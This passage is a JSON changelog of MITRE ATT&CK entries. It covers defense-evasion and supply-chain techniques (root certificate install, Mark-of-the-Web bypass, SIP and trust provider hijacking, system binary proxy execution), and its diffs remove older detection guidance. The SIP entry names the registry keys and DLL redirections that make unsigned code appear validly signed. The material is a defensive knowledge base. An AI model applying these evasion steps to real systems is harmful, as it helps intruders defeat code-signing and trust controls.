+ "url": "https://en.wikipedia.org/wiki/Root_certificate"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Matt Graeber, @mattifestation, SpecterOps",
+ "Red Canary",
+ "Travis Smith, Tripwire",
+ "Itzik Kotler, SafeBreach"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Windows Registry: Windows Registry Key Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.832000+00:00\", \"old_value\": \"2025-04-15 19:59:06.251000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\\n\\nInstalled root certificates are located in the Registry under HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\ and [HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\\n\\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\\n* CDD4EEAE6000AC7F40C3802C171E30148030C072\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +0,0 @@\\n-A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\\n-\\n-Installed root certificates are located in the Registry under HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\ and [HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\\n-\\n-* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\\n-* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\\n-* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\\n-* 7F88CD7223F3C813818C994614A89C99FA3B5247\\n-* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\\n-* A43489159A520F0D93D032CCAF37E7FE20A8B419\\n-* BE36A4562FB2EE05DBB3D32323ADF445084ED656\\n-* CDD4EEAE6000AC7F40C3802C171E30148030C072\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1028: Operating System Configuration",
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0056: Detection Strategy for Subvert Trust Controls via Install Root Certificate."
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-02-22 14:20:31.650000+00:00",
+ "modified": "2025-10-24 17:49:01.286000+00:00",
+ "name": "Mark-of-the-Web Bypass",
+ "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1553/005",
+ "external_id": "T1553.005"
+ },
+ {
+ "source_name": "Beek Use of VHD Dec 2020",
+ "description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20201203131725/https://christiaanbeek.medium.com/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316"
+ },
+ {
+ "source_name": "Outflank MotW 2020",
+ "description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021.",
+ "url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/"
+ },
+ {
+ "source_name": "Intezer Russian APT Dec 2020",
+ "description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.",
+ "url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
+ },
+ {
+ "source_name": "Microsoft Zone.Identifier 2020",
+ "description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.",
+ "url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"
+ },
+ {
+ "source_name": "Disable automount for ISO",
+ "description": "wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022.",
+ "url": "https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Christiaan Beek, @ChristiaanBeek"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.286000+00:00\", \"old_value\": \"2025-04-15 19:58:45.702000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0257: Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-05 19:34:04.910000+00:00",
+ "modified": "2025-10-24 17:48:48.200000+00:00",
+ "name": "SIP and Trust Provider Hijacking",
+ "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1553/003",
+ "external_id": "T1553.003"
+ },
+ {
+ "source_name": "Entrust Enable CAPI2 Aug 2017",
+ "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
+ "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165"
+ },
+ {
+ "source_name": "GitHub SIP POC Sept 2017",
+ "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
+ "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage"
+ },
+ {
+ "source_name": "SpectorOps Subverting Trust Sept 2017",
+ "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
+ "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
+ },
+ {
+ "source_name": "Microsoft Catalog Files and Signatures April 2017",
+ "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
+ "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files"
+ },
+ {
+ "source_name": "Microsoft Audit Registry July 2012",
+ "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
+ "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
+ },
+ {
+ "source_name": "Microsoft Registry Auditing Aug 2016",
+ "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
+ "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"
+ },
+ {
+ "source_name": "Microsoft Authenticode",
+ "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
+ "url": "https://msdn.microsoft.com/library/ms537359.aspx"
+ },
+ {
+ "source_name": "Microsoft WinVerifyTrust",
+ "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx"
+ },
+ {
+ "source_name": "EduardosBlog SIPs July 2008",
+ "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
+ "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Matt Graeber, @mattifestation, SpecterOps"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.200000+00:00\", \"old_value\": \"2025-04-15 19:58:31.965000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\\n\\n* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\OID\\n* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\OID\\n* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n\\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\u201cHide Microsoft Entries\\u201d and \\u201cHide Windows Entries\\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,14 +0,0 @@\\n-Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\\n-\\n-Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\\n-\\n-Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\\n-\\n-* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\OID\\n-* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\OID\\n-* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n-* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n-\\n-**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\\n-\\n-Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\u201cHide Microsoft Entries\\u201d and \\u201cHide Windows Entries\\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1024: Restrict Registry Permissions",
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0011: Module (Module Load)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0442: Detection Strategy for Subvert Trust Controls using SIP and Trust Provider Hijacking."
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-11 14:28:40.064000+00:00",
+ "modified": "2025-10-24 17:48:39.693000+00:00",
+ "name": "Compromise Hardware Supply Chain",
+ "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "initial-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1195/003",
+ "external_id": "T1195.003"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.693000+00:00\", \"old_value\": \"2025-04-15 22:07:50.636000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1046: Boot Integrity"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0013: Sensor Health (Host Status)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0368: Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-11 14:17:21.153000+00:00",
+ "modified": "2025-10-24 17:49:18.341000+00:00",
+ "name": "Compromise Software Supply Chain",
+ "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "initial-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1195/002",
+ "external_id": "T1195.002"
+ },
+ {
+ "source_name": "Avast CCleaner3 2018",
+ "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
+ "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities"
+ },
+ {
+ "source_name": "Command Five SK 2011",
+ "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.341000+00:00\", \"old_value\": \"2025-04-15 22:08:31.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. \"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1016: Vulnerability Scanning",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0022: File (File Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0309: Compromised software/update chain (installer/write \u2192 first-run/child \u2192 egress/signature anomaly)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-04-18 17:59:24.739000+00:00",
+ "modified": "2025-10-24 17:48:43.406000+00:00",
+ "name": "System Binary Proxy Execution",
+ "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1218",
+ "external_id": "T1218"
+ },
+ {
+ "source_name": "GTFO split",
+ "description": "GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.",
+ "url": "https://gtfobins.github.io/gtfobins/split/"
+ },
+ {
+ "source_name": "LOLBAS Project",
+ "description": "Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.",
+ "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria"
+ },
+ {
+ "source_name": "split man page",
+ "description": "Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) \u2014 Linux manual page. Retrieved March 25, 2022.",
+ "url": "https://man7.org/linux/man-pages/man1/split.1.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Nishan Maharjan, @loki248",
+ "Hans Christoffer Gaardl\u00f8s",
+ "Praetorian",
+ "Wes Hurd"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
